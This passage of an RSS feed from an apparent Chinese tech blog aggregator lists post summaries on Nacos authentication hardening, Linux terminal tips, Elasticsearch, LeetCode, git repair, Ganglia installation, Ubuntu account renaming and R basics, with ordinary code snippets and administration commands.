出现403的说明修改成功&#xA;2、Nacos注册及配置中心开启权限认证&#xA;修改你的项目中的bootstrap.yml或bootstrap.properties：&#xA;nacos的discovery和config开启用户密码认证，用户密码就是你的nacos登录的用户名和密码，在此要注意的是，用户名和密码不要带有%、$这些特殊字符，不然你的服务会注册不上到nacos，因为它会转义&#xA;以上修改完成以后，亲测再次漏扫，nacos权限绕过漏洞(CVE-2021-29441)不会再出现</description>
    </item>
    <item>
      <title>如何在 Linux 终端中复制粘贴 [初学者教程]</title>
      <link>https://bchobby.github.io/posts/b0e55d0a9710446e266a007f0f773697/</link>
      <pubDate>Wed, 15 Sep 2021 15:51:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0e55d0a9710446e266a007f0f773697/</guid>
      <description>文章目录 1、在终端中使用键盘快捷键进行复制粘贴2、在终端中复制和粘贴的另一种方法是使用右键单击上下文菜单。3、在Linux终端使用鼠标中键（滚轮）复制粘贴4、为什么 Linux 终端不使用“通用”的 Ctrl+C 和 Ctrl+V5、使用 Ctrl+S 挂起终端 1、在终端中使用键盘快捷键进行复制粘贴 在 Ubuntu 和许多其他 Linux 发行版上，你可以使用 Ctrl+Insert 或 Ctrl+shift+C 复制文本，使用 Shift+Insert 或 Ctrl+shift+V 在终端中粘贴文本。&#xA;复制粘贴也适用于外部来源。在其他网站复制命令示例（使用通用 Ctrl+C 键），你可以使用 Ctrl+Shift+V 将此命令粘贴到终端中。&#xA;同样，你可以使用 Ctrl+shift+C 从终端复制文本，然后使用常规的 Ctrl+V 快捷方式将其粘贴到文本编辑器或 Web 浏览器中。&#xA;基本上，当你与 Linux 终端交互时，你可以使用 Ctrl+Shift+C/V 进行复制粘贴。&#xA;2、在终端中复制和粘贴的另一种方法是使用右键单击上下文菜单。 在终端中选择文本，右键单击并选择复制。同样，要粘贴所选文本，请右键单击并选择粘贴。&#xA;3、在Linux终端使用鼠标中键（滚轮）复制粘贴 在 Linux 终端中复制粘贴的另一种方法是仅使用鼠标。&#xA;你可以选择要复制的文本，然后按鼠标中键（滚轮） 粘贴复制的文本。&#xA;注意，在终端中，选中文本后，点击鼠标中键效果是复制粘贴，相当于Ctrl+shift+C后又按了Ctrl+shift+V。在其他地方，同样适用。&#xA;Linux 终端中没有用于复制粘贴的通用快捷键。复制粘贴的快捷键的绑定取决于你所使用的终端模拟器（通常称为终端）。&#xA;如果你不知道终端只是一个应用程序，你可以安装其他终端，如Guake或 Terminator。不同的终端应用程序可能有自己的复制和粘贴键绑定，如 Alt+C/V 或 Ctrl+Alt+C/V。大多数 Linux 终端使用 Ctrl+Shift+C/V 键，但如果它不适合你，你可以尝试其他组合键或从终端模拟器的首选项配置快捷键。&#xA;4、为什么 Linux 终端不使用“通用”的 Ctrl+C 和 Ctrl+V 没有 Linux 终端会用 Ctrl+C 来复制文本。这是因为默认情况下 Ctrl+C 键绑定用于向在前台运行的命令发送中断信号。这通常会停止正在运行的命令。</description>
    </item>
    <item>
      <title>ElasticSearch学习总结3（.NetCore操作ES）</title>
      <link>https://bchobby.github.io/posts/634c84dbcca91b9ac3f6ba4b09f95075/</link>
      <pubDate>Tue, 14 Sep 2021 22:52:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/634c84dbcca91b9ac3f6ba4b09f95075/</guid>
      <description>首先将ElasticSearch服务运行起来。&#xA;使用.NetCore操作ElasticSearch数据库实例：&#xA;1.创建一个.NetCore控制台程序&#xA;2.通过NuGet添加程序集&#xA;3.床架TestData类，用于数据操作&#xA;using Nest; using System; using System.Collections.Generic; namespace ElasticSearch { public class TestData { /// &amp;lt;summary&amp;gt; /// 插入多条数据 /// &amp;lt;/summary&amp;gt; public void IndexMany() { //链接es数据库 var settings = new ConnectionSettings(new Uri(Url.url)).DefaultIndex(&#34;people&#34;);//people 索引库名称 //创建链接es数据库的管道 var client = new ElasticClient(settings); List&amp;lt;Person&amp;gt; peoples = new List&amp;lt;Person&amp;gt;(); for (int i = 0; i &amp;lt; 10; i++) { Person person = new Person() { Id = i, FirstName = &#34;Fname&#34; + i, LastName = &#34;</description>
    </item>
    <item>
      <title>【力扣435. 无重叠区间】多种解法：贪心、dp(python3)</title>
      <link>https://bchobby.github.io/posts/074499faa00cec7d1d6b368d33dea5ae/</link>
      <pubDate>Tue, 14 Sep 2021 20:10:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/074499faa00cec7d1d6b368d33dea5ae/</guid>
      <description>目录 题目描述思路题解方法1：贪心方法2：dp 题目描述 https://leetcode-cn.com/problems/non-overlapping-intervals/&#xA;思路题解 方法1：贪心 本题可以转化为求不相交的区间个数。&#xA;贪心算法：&#xA;1. 按照区间的右端点从小到大排序&#xA;2. 每次都选择右端点最小的，不会出现重叠的区间，因为这样可以为后侧留下更多的选择空间&#xA;自己做的代码：&#xA;class Solution: def eraseOverlapIntervals(self, intervals: List[List[int]]) -&amp;gt; int: import functools def cmp(a, b): if b[1] &amp;lt; a[1]: return 1 elif a[1] &amp;lt; b[1]: return -1 else: if b[0] &amp;lt; a[0]: return -1 elif a[0] &amp;lt; b[0]: return 1 else: return 0 nums=sorted(intervals,key=functools.cmp_to_key(cmp)) i=0 ans=0 n=len(nums) tmp=float(&#34;-inf&#34;) while i&amp;lt;n: while i&amp;lt;n and nums[i][0]&amp;lt;tmp: # print(nums[i]) ans+=1 i+=1 if i&amp;lt;n:tmp=nums[i][1] if i&amp;lt;n-1 and nums[i][1]==nums[i+1][1]: j=i+1 tmp=nums[i][1] while j&amp;lt;n and nums[j][1]==nums[i][1]: # print(nums[j]) ans+=1 j+=1 i=j else: i+=1 return ans 方法2：dp 这道题可以使用动态规划做。本质上，这个题目和打家劫舍是一样的：</description>
    </item>
    <item>
      <title>__attribute__((at(...)))绝对地址定位并不绝对</title>
      <link>https://bchobby.github.io/posts/61ae98dde8e17bd39e3972d6189bd4e4/</link>
      <pubDate>Tue, 14 Sep 2021 19:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61ae98dde8e17bd39e3972d6189bd4e4/</guid>
      <description>用了__attribute__((at(...)))指定绝对地址后，就想当然的一定会把变量地址定位到你希望的位置了吗？大部分情况下是的，但是。。。&#xA;定义了如下指向int类型的指针常量（不是常量指针哦）：&#xA;int * const pa1 __attribute__((at(0x00000300))) = (int*)1;&#xA;int * const pa2 __attribute__((at(0x00000300)));&#xA;int * const pa3 __attribute__((at(0x00000300))) = (int*)1;&#xA;检查一下各指针常量所占的地址：&#xA;可以发现，pa2、pa3的地址并不在预想的0x00000300。也就是说，0x00000300地址已分配给pa1，其他的不能再用同样的地址，会从指定地址开始往后找可用的地址。&#xA;但是也发现，pa2、pa3并未顺序分配地址。可以看到，有初始化值的，将被先分配地址。&#xA;所以，__attribute__((at(...)))绝对地址定位并不绝对。</description>
    </item>
    <item>
      <title>Python用requests &#43; bs4爬取豆瓣图书网的书名和网址</title>
      <link>https://bchobby.github.io/posts/120e079cb8293fb63436abbc57acb09e/</link>
      <pubDate>Tue, 14 Sep 2021 15:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/120e079cb8293fb63436abbc57acb09e/</guid>
      <description>爬取静态网页豆瓣读书Top250&#xA;当我们遇到这种静态网页的时候首先想到可以用导入requests库对网页进行请求，并用bs4来进行解析，然后可以用find方法找到我们想要爬取的对象。&#xA;import requests from bs4 import BeautifulSoup import time def douban_book(url): headers = {&#39;User-Agent&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.35 Safari/537.36&#39;} res = requests.get(url,headers = headers) soup = BeautifulSoup(res.text,&#39;html.parser&#39;) items = soup.find_all(&#39;div&#39;,class_=&#39;pl2&#39;)#find返回的是一个tag对象 for i in items: tag = i.find(&#39;a&#39;) name = &#39;&#39;.join((tag.text).split()) link = tag[&#39;href&#39;] print(name,link) url = &#39;https://book.douban.com/top250?start={}&#39; urls = [url.format(num * 25) for num in range(10)] for item in urls: douban_book(item) time.sleep(1) find()返回符合条件的首个数据 find_all #join() # 用于将序列中的元素以指定的字符连接生成一个新的字符串。join() 方法接收一个序列（列表、元组、字符串等）作为参数，.</description>
    </item>
    <item>
      <title>关于VS Code无法输入的问题</title>
      <link>https://bchobby.github.io/posts/29260a10a63ad08c43f384d3ea6499e1/</link>
      <pubDate>Tue, 14 Sep 2021 12:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29260a10a63ad08c43f384d3ea6499e1/</guid>
      <description>当程序中有输入语句，然而在运行程序时，却无法输入数据，无论是在终端还是调试控制台里，都不能向程序输入数据，并且没有弹出命令提示符的窗口。&#xA;1、检查自己程序的输入语句有无问题&#xA;2、打开设置，在设置中搜索terminal：explorer，找到这个选项&#xA;这个可以选择使用的终端，一个VS Code自带的，一个是系统的。更换选项后重启应用，若还是不能解决问题，则找到程序的launc.json文件。&#xA;找到console那一项，在后面加上下面两个console项中的任意一个就可以了，三个console项只能存在一个，多的注释掉。&#xA;F5运行程序，这样问题就解决了，至于喜欢哪种控制方式就看个人的喜好了。</description>
    </item>
    <item>
      <title>UVM自学笔记：项目之五——完善agent（driver、monitor、sequencr）</title>
      <link>https://bchobby.github.io/posts/a48d41bf475838d335aa041a8234c8d2/</link>
      <pubDate>Tue, 14 Sep 2021 11:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a48d41bf475838d335aa041a8234c8d2/</guid>
      <description>目录&#xA;1.driver的编写&#xA;2.monitor代码编写：&#xA;3.slave_module的完善&#xA;4.跑一下testcase&#xA;1.driver的编写 我们将driver的所有信号都完善，并且在reset_phase执行reset_do()命令，对所有信号进行上电复位的初始化。完善好的driver代码如下：&#xA;2.monitor代码编写： 在编写monitor的时候，采用了和编写driver不同的方式，这种方式实现起来相对简单一些，具体思路就是控制好每个时钟上升沿是否检测地址、控制信号以及数据信号，如果检测到了，就将数据打包入m_trans内，然后打印到控制台上。由于比较简单，就不多赘述了。直接上代码&#xA;3.slave_module的完善 4.跑一下testcase 20笔trans，10笔读，10笔写。具体的trans如下，来自于driver和monitor(一共20笔)&#xA;...................................................3-17&#xA;用vcs看一下波形&#xA;截至目前，已经完成了agent内的所有组件的编写，接下来我们要将验证平台与DUT相连接，然后完成scoreboard的编写。</description>
    </item>
    <item>
      <title>VSCode PowerShell 提示“无法加载文件，因为在此系统上禁止运行脚本”的解决方法</title>
      <link>https://bchobby.github.io/posts/286eb201b4f41456e1cf3879170739b8/</link>
      <pubDate>Tue, 14 Sep 2021 09:56:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/286eb201b4f41456e1cf3879170739b8/</guid>
      <description>这主要是Windows自身设置Restrict模式。&#xA;管理员身份打开PowerShell，然后执行&#xA;set-executionpolicy remotesigned 然后回答：Yes就行了。</description>
    </item>
    <item>
      <title>.git bojects目录文件为空</title>
      <link>https://bchobby.github.io/posts/a30dfd1f7ec1abb6eb5e6593b60e100c/</link>
      <pubDate>Mon, 13 Sep 2021 19:42:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a30dfd1f7ec1abb6eb5e6593b60e100c/</guid>
      <description>这里写自定义目录标题 git error: object file .git/objects/b9/e269f50db2a3415cc8ad5ba40b82b9b6a13d45 is empty 解决方法：&#xA;1. find .git/objects/ -type f -empty | xargs rm&#xA;2. git fetch -p&#xA;3. git fsck --full</description>
    </item>
    <item>
      <title>分配问题（插板法）</title>
      <link>https://bchobby.github.io/posts/99f93f0145baca3188007233be9a3ac2/</link>
      <pubDate>Mon, 13 Sep 2021 18:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99f93f0145baca3188007233be9a3ac2/</guid>
      <description>1、有 n 个小球，放入 m 个盒子，每个盒子里至少 1 个，求有多少种情况？&#xA;解析：&#xA;我们可以把问题转化为：在小球之间插入板子，将其分成 m m m 份&#xA;有 n n n 个小球，所以在小球之间有 n − 1 n-1 n−1 个空隙&#xA;放入 m m m 个盒子，说明要把小球分成 m m m 份，所以需要在其中 m − 1 m-1 m−1 个空隙中插入板子&#xA;所以一共有 C n − 1 m − 1 C_{n-1}^{m-1} Cn−1m−1​ 种情况&#xA;2、有 n 个小球，放入 m 个盒子，求有多少种情况？&#xA;解析：&#xA;题目2和题目1的不同在于每个盒子中的小球数目可以为 0 0 0&#xA;我们可以将问题转化为每个盒子至少放 1 1 1 个小球的情况：&#xA;可以预先在每个盒子中都放入 1 1 1 个小球，此时就不会有数目为 0 0 0 的情况</description>
    </item>
    <item>
      <title>Python练习-求两个给定正整数的最大公约数和最小公倍数</title>
      <link>https://bchobby.github.io/posts/391756c445296e06f1f01d23087631a5/</link>
      <pubDate>Mon, 13 Sep 2021 18:02:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/391756c445296e06f1f01d23087631a5/</guid>
      <description>题目描述 求两个给定正整数的最大公约数和最小公倍数 题目要求 输入格式：输入在两行中分别输入正整数x和y输出格式：在一行中输出最大公约数和最小公倍数的值例如：输入100 1520 输出20 7600 题目解析 （1）几个整数中公有的约数，叫做这几个数的公约数；其中最大的一个，叫做这几个数的最大公约数 例如：求24和60的最大公约数，先分解质因数，得24=2×2×2×3，60=2×2×3×5，24与60的全部公有的质因数是2、2、3，它们的积是2×2×3=12，所以，（24，60）=12。&#xA;（2）几个自然数公有的倍数，叫做这几个数的公倍数，其中最小的一个自然数，叫做这几个数的最小公倍数 例如：求6和15的最小公倍数。先分解质因数，得6=2×3，15=3×5，6和15的全部公有的质因数是3，6独有质因数是2，15独有的质因数是5，2×3×5=30，30里面包含6的全部质因数2和3，还包含了15的全部质因数3和5，且30是6和15的公倍数中最小的一个，所以[6，15]=30。&#xA;思路 （1）最大公约数&#xA;假设最大公约数为a，2个数为x和y，则x一定能够整除a，且y也能整除a，如24和60的最大公约数为24&#xA;求最大公约数时，最大公约数的范围是[1,最小值]，故可以用x和y对从1开始的整数取余，若余数为0，则说明可以整除，保存该约数，直到取到最大约数，即为最大公约数&#xA;（2）最小公倍数&#xA;假设最小公倍数为b，2个数为x和y，作为x和y的公倍数，则b一定能够整除x和y，如6和15的最小公倍数为30&#xA;求最小公倍数时，最小公倍数的范围是[x和y的最大值，正无穷]，故从x和y的最大值开始，对x和y取余，当第一个余数为0时，则此时的数即为x和y的最小公倍数&#xA;def hcf(x,y): #定义最大公约数 if x&amp;gt;y: smaller = y else: smaller = x #先比较2个数的大小，将较小的数赋值给smaller for i in range(1,smaller + 1): #给定i的范围，从1开始，smaller结束，range函数为左闭右开，故smaller要加1 if((x%i == 0) and (y % i== 0)): #如果x能够整除i 且 y也能整除i hcf = i #将i赋值给hcf return hcf # 循环结束后返回最大的i值，即是公约数 def lcm(x,y): #定义最小公倍数 if x&amp;gt;y: greater =x else: greater =y #先比较2个数的大小，将较大的数赋值给greater while(True): if((greater%x==0) and (greater%y == 0)): #如果greater能够整除x和y lcm =greater # 则将greater赋值给lcm break #跳出循环 greater +=1 # greater=greater+1，重新开始循环 return lcm num1 = int(input(&#34;</description>
    </item>
    <item>
      <title>Oracle sql字段截取后六位</title>
      <link>https://bchobby.github.io/posts/b1b2ca2081f992a7ea4bced1744f02d6/</link>
      <pubDate>Mon, 13 Sep 2021 15:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1b2ca2081f992a7ea4bced1744f02d6/</guid>
      <description>由于在开发过程会遇到截取字段的情况，一般能在sql中处理就处理掉；&#xA;select casebh,substr(casebh,length(casebh)-5,6) a,substr(casebh,-6) b from log_exchagnge t where serviceid = &#39;1005&#39; 请使用：substr(字段,length(字段)-5,6) 或者 substr(字段,-6)</description>
    </item>
    <item>
      <title>Elasticsearch：如何在 Django 中使用 Elasticsearch</title>
      <link>https://bchobby.github.io/posts/fa75c1f7a3a9941d320aebbecd36e008/</link>
      <pubDate>Mon, 13 Sep 2021 14:31:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa75c1f7a3a9941d320aebbecd36e008/</guid>
      <description>你是否正在构建需要搜索海量数据集的 Django 应用程序？ 你可能正在考虑使用标准关系数据库。 但是你很快就会发现，在处理高级需求时，此解决方案可能会很慢且有问题。 这就是 Elasticsearch 的用武之地。&#xA;这是 Django 的 Elasticsearch 教程，可帮助你在项目中充分利用这个方便的搜索引擎。&#xA;为什么要使用 Elasticsearch？ 在海量数据库上运行搜索引擎的应用程序经常面临这个问题：检索产品信息的时间太长。这反过来又会导致糟糕的用户体验，从而对应用程序作为数字产品的潜力产生负面影响。&#xA;大多数情况下，搜索滞后源于开发团队用于构建应用程序的关系数据库，其中数据分散在许多不同的表中。为了检索有意义的信息，系统需要从这些表中获取数据——这可能比某些用户准备等待的时间更长。&#xA;在通过数据库查询检索数据和获取搜索结果时，关系数据库的工作速度可能非常缓慢。这就是为什么开发人员一直忙于寻找可以加速数据检索过程的替代方法。&#xA;这就是 Elasticsearch 的用武之地。它是一个 NoSQL 分布式数据存储，适用于灵活的面向文档的数据库，以匹配具有实时参与需求的苛刻工作负载应用程序。&#xA;如果你对 Elasticsearch 还不是很了解的话，请参阅我之前的文章：&#xA;Elasticsearch 简介&#xA;Elasticsearch 中的一些重要概念: cluster, node, index, document, shards 及 replica&#xA;更多关于 Elastic Stack 方面的知识，请阅读 “Elastic：菜鸟上手指南”。&#xA;在 Django 中使用 Elasticsearch 为了在 Django 中利用 Elasticsearch，我们将使用一些非常有用的包：&#xA;Elasticsearch DSL - 一个高级库，可帮助编写和运行针对 Elasticsearch 的查询。 它建立在官方低级客户端（elasticsearch-py）之上。Django Elasticsearch DSL – 一个允许轻松集成和配置 Elasticsearch 与 Django 的包。 它是围绕 elasticsearch-dsl-py 构建的薄包装器，因此您可以使用由 elasticsearch-dsl-py 团队开发的所有功能。Django Elasticsearch DSL DRF – 集成了 Elasticsearch DSL 和 Django REST 框架。 它为我们提供了API 来最有效地访问 Elasticsearch。 Haystack 与 Elasticsearch DSL</description>
    </item>
    <item>
      <title>Error inflating class TextView</title>
      <link>https://bchobby.github.io/posts/da103403bf8ec8a2078f7d4d5eb5d06f/</link>
      <pubDate>Mon, 13 Sep 2021 14:27:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da103403bf8ec8a2078f7d4d5eb5d06f/</guid>
      <description>建议检查一下 对应xml 或引用的style等的每一个@ 引用&#xA;看具体报错原因&#xA;有一个dimen的单位有问题</description>
    </item>
    <item>
      <title>Ubuntu系统修改主机名和用户名</title>
      <link>https://bchobby.github.io/posts/e537b420d446205c95c280f0fc565606/</link>
      <pubDate>Mon, 13 Sep 2021 13:59:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e537b420d446205c95c280f0fc565606/</guid>
      <description>Ubuntu系统修改主机名和用户名 如果无法进入UBUNTU桌面,进入命令行界面方法如何修改主机名和用户名，参考1. 首先更改主机名字————改为bbb：(1) 修改hostname文件(2) 修改hosts文件 2. 更改用户名————改为ccc(1) 修改sudoer文件(2) 修改shadow 文件(3) 修改开始目录(4) 修改passwd 文件(5) 如果我们还想修改原来用户下文件所属的组：(6) 最后，再次进入/etc/sudoer 文件，将就用户名aaa 删除 如果无法进入UBUNTU桌面,进入命令行界面方法 bios启动时按ESC键以及快捷键，使用上下箭头 进入高级选项-&amp;gt;选择recovery mode-&amp;gt;root-&amp;gt;下方就是命令行输入 链接: link.&#xA;如何修改主机名和用户名，参考 链接: link.&#xA;很多时候，我们不满意安装时起的用户名与主机名，但是由于已经在这个用户上做了好多配置，所以只能在原来的基础上改用户名和主机名了。&#xA;但是改这些文件的时候，一定要小心，因为一不小心就会造成重启后无法登陆的情况。我自己也因为这个，浪费了好多时间：&#xA;这里写下我的经验，安全的修改用户名，避免出现修改后无法登陆的情况，希望对大家有所帮助，让各位少走弯路&#xA;1. 首先更改主机名字————改为bbb： 这个容易，不会出现什么严重错误：&#xA;(1) 修改hostname文件 这个文件中的内容是用来显示主机名字的，修改这个文件后，如果立刻重启，我们会看到终端中@后面的主机名将变为bbb&#xA;(2) 修改hosts文件 改完主机名字，我们需要重启计算机，否则命令执行会有些慢。&#xA;2. 更改用户名————改为ccc 通常因为出错导致重启后无法重新登陆都是在这一环节出现，所以这一步务必按照顺序来&#xA;(1) 修改sudoer文件 我们为自己要改的名字提前赋予较高的权限，防止修改下面文件的过程中出现权限不足,添加用户ccc，注意不要修改sudoers文件的权限，不然会造成找不到有效的sudoers。（如果不小心搞错了，那就百度一下报错内容，还是可以改好的，在命令行界面，root权限修改）&#xA;(2) 修改shadow 文件 这个文件中存储与登陆有关的内容格式如下：&#xA;username: passwd: lastchg: min: max: warn: inactive: expire: flag&#xA;登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志　我们需要将登录名更改：&#xA;(3) 修改开始目录 用户开始目录中，包含用户相关配置信息，我们要将二者相匹配&#xA;(4) 修改passwd 文件 passwd文件内容格式如下：&#xA;用户名: 密码 : uid : gid :用户描述：主目录：登陆shell</description>
    </item>
    <item>
      <title>win10安装的虚拟机无法连接网络</title>
      <link>https://bchobby.github.io/posts/01a0b7d8fe7370cec89daad008418c7e/</link>
      <pubDate>Mon, 13 Sep 2021 13:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01a0b7d8fe7370cec89daad008418c7e/</guid>
      <description>有时候不管在win10（主机）上的虚拟机还是其他系统上的虚拟机，我们装好虚拟机系统之后发现打开连不上网。今天给大家分享一种解决方法：&#xA;1.选择虚拟机的【编辑】–&amp;gt;【虚拟网络编辑器】&#xA;2.选择【还原默认设置】，注意：有时需要管理员点击【更改设置】重置下，才能点击【还原默认设置】&#xA;3.还原默认设置后，打开我们的虚拟机，进入桌面&#xA;4.选择网络，设置一下获取IP方式，选择【自动获取】，点击确定&#xA;5.稍等片刻，发现网络连接成功&#xA;————————————————&#xA;原文链接：https://blog.csdn.net/MenofGod/article/details/73338102</description>
    </item>
    <item>
      <title>CSDN如何将插入图片缩小并且居中</title>
      <link>https://bchobby.github.io/posts/f7b14cf41743511f57b79afa73c96cbc/</link>
      <pubDate>Mon, 13 Sep 2021 11:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7b14cf41743511f57b79afa73c96cbc/</guid>
      <description>CSDN的插入图有时候显示比较大，不方便查看，这时只需要在原图片的地址上增加缩放比即可。&#xA;例如插入后系统给的地址为：&#xA;https://img-blog.csdnimg.cn/f348670dbadc4da2a52db5926c16d10b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5Y2X5rSyLg==,size_20,color_FFFFFF,t_70,g_se,x_16&#xA;增加width缩放比例width=“70%”；增加居中条件:#pic_center：&#xA;&amp;lt;img src=&#34;https://img-blog.csdnimg.cn/f348670dbadc4da2a52db5926c16d10b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5Y2X5rSyLg==,size_20,color_FFFFFF,t_70,g_se,x_16#pic_center&#34; width=&#34;70%&#34;&amp;gt; 总体增加如下图：</description>
    </item>
    <item>
      <title>Flume 数据流监控——Ganglia的安装与部署</title>
      <link>https://bchobby.github.io/posts/c3d03647efda41112239efe4fca54746/</link>
      <pubDate>Mon, 13 Sep 2021 10:39:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3d03647efda41112239efe4fca54746/</guid>
      <description>1、Ganglia的安装 （1） 安装 dhttpd 服务与 php&#xA;[yasin@hadoop102 flume]$ sudo yum -y install httpd php （2）安装其他依赖&#xA;[atguigu@hadoop102 flume]$ sudo yum -y install rrdtool perl-rrdtool rrdtool-devel [atguigu@hadoop102 flume]$ sudo yum -y install apr-devel （3）安装 ganglia&#xA;[yasin@hadoop102 flume]$ sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/e/epel-release-7-13.noarch.rpm [yasin@hadoop102 flume]$ sudo yum -y install ganglia-gmetad [yasin@hadoop102 flume]$ sudo yum -y install ganglia-web [yasin@hadoop102 flume]$ sudo yum -y install ganglia-gmond Ganglia 由 gmond、gmetad 和 gweb 三部分组成。&#xA;gmond（Ganglia Monitoring Daemon）是一种轻量级服务，安装在每台需要收集指标数据的节点主机上。使用 gmond，你可以很容易收集很多系统指标数据，如 CPU、内存、磁盘、网络和活跃进程的数据等。</description>
    </item>
    <item>
      <title>ERROR: No matching distribution found for pandas</title>
      <link>https://bchobby.github.io/posts/585d2a13bb7c7813b5a242632b28bdb8/</link>
      <pubDate>Sun, 12 Sep 2021 12:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/585d2a13bb7c7813b5a242632b28bdb8/</guid>
      <description> 因该是网络原因，所以利用国内镜像&#xA;pip 安装第三方库速度太慢&#xA;可设置 pip 从国内的镜像源下载安装&#xA;阿里云 http://mirrors.aliyun.com/pypi/simple/&#xA;中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/&#xA;豆瓣 http://pypi.douban.com/simple/&#xA;清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/&#xA;中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/&#xA;其一：&#xA;# 临时使用 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple xxxxxxx 其二：&#xA;# 永久设置 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 可查看配置的源 pip config list </description>
    </item>
    <item>
      <title>R语言与数据分析-01-数据类型与数据输入-01-基础</title>
      <link>https://bchobby.github.io/posts/e5c3b477ae40ddae1ac1725a5dd557f5/</link>
      <pubDate>Sun, 12 Sep 2021 12:50:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5c3b477ae40ddae1ac1725a5dd557f5/</guid>
      <description>一. R语言的数据类型 原文链接 : r语言与数据分析实战1&#xA;1.1 知识描述 搞清楚我们面对的数据类型是什么，并能实现数据类型之间的转换&#xA;1.2 相关知识 需要认真学习以下函数：&#xA;mode(): 用来查看数值类型的函数；&#xA;as.numeric(): 将数据类型转换为数值型类型的函数；&#xA;as.logical(): 将数据类型转换为逻辑型类型的函数；&#xA;as.cha\fracter(): 将数据类型转换为字符型类型的函数。&#xA;在我们开始学习R语言数据类型之前，先让我们根据例子来看看3个简单的概念。&#xA;定义：按照数据的格式，将数据类型发送给R；&#xA;比如定义简单的数值：&#xA;变量与赋值：与其他语言类似，变量是我们操纵数据的载体，而赋值则是数据传递给变量的一个过程。&#xA;在R语言中，赋值符号有三种，分别如上图所示。大家可以根据自己的喜好选择使用~但是一般来说，大部分人都会选择中间的赋值方式，因为它更为形象。&#xA;现在我们正式开始学习R语言中的数据类型。&#xA;1.2.1 逻辑型数据 逻辑型数据的定义方式很简单，就是直接写上 TRUE 或 FALSE的大写字母即可。&#xA;注意：R 只认大写的 TRUE 或 FALSE。&#xA;它的运算规则有3种，如下图所示：&#xA;我们可以通过一个例子来加深对逻辑型数据及运算规则的理解。&#xA;从上图的执行过程中，我们能看出x实际上应该小于y的，所以当我判断x大于y的时候，你能从右边的环境变量框中看见，z的值为FALSE。&#xA;再检验一下，用mod()函数来看看z现在的数据类型。WALA! 结果为logical，逻辑型。&#xA;最后我们来一条一条执行逻辑型数据的运算规则，看起来很清晰明了吧~&#xA;1.2.2 数值型数据 数值型数据就是我们数学中学过的实数啦，包含正数、0和负数。也是我们最容易理解的数据类型了；&#xA;其中的“四则运算”，也是我们最熟悉的运算规则啦！我就不在这里多啰嗦了哟。&#xA;1.2.3 字符型数据 在R中，我们把用&#39; &#39;或者&#34; &#34;包含起来的数据称为字符型数据。&#xA;让我们来看看字符型数据是什么样子的，以hello world为例，嘿嘿。&#xA;恩，看来没错，mode()函数告诉我们，x和y都是cha\fracter字符型变量&#xA;1.2.4 数据间的转换 R语言数据类型的转换很“显式”，因为它是通过函数做到的，不会出现一不小心就被默认转换坑了的情况，不要问我是怎么知道的…&#xA;举个例子来看看逻辑型数据转成数值型数据是怎么做的吧。&#xA;那么问题来了，数值型数据是否能转换为字符型数据呢？哈哈，好奇害死猫，我不告诉你，快去自己试试吧。&#xA;1.3 小测 #将 t 的数据类型转换为数值型,并输出 t 的值 t &amp;lt;- &#39;TRUE&#39; #----start---- mode(t) t2 &amp;lt;- as.</description>
    </item>
    <item>
      <title>Gifski for mac(视频转gif工具) v2.17.0免费版</title>
      <link>https://bchobby.github.io/posts/6779087a504d3ccda34551e16ef7a50c/</link>
      <pubDate>Sun, 12 Sep 2021 11:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6779087a504d3ccda34551e16ef7a50c/</guid>
      <description>Gifski Mac版是Mac平台上的一款GIF制作应用。Gifski Mac版可以帮助用户将所需要录制的视频转换成高质量的GIF格式的图片。测试环境：MacOS 11.3.1&#xA;Gifski mac版安装教程&#xA;软件下载完成后，双击.pkg根据提示进行安装&#xA;gifski mac功能特色&#xA;视频剪辑&#xA;精确控制尺寸&#xA;复制、共享或拖动GIF&#xA;系统服务&#xA;Gifski支持MacOS支持的所有视频格式（.mp4或.mov与h264、hevc、prores等）。不支持QuickTime动画格式。改用Prores 4444 XQ。它更高效，支持范围更广，和QuickTime动画一样，它也支持Alpha通道。</description>
    </item>
    <item>
      <title>快手前端面经总结</title>
      <link>https://bchobby.github.io/posts/5648aae8301bdd202333e78f9916f764/</link>
      <pubDate>Sat, 11 Sep 2021 23:42:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5648aae8301bdd202333e78f9916f764/</guid>
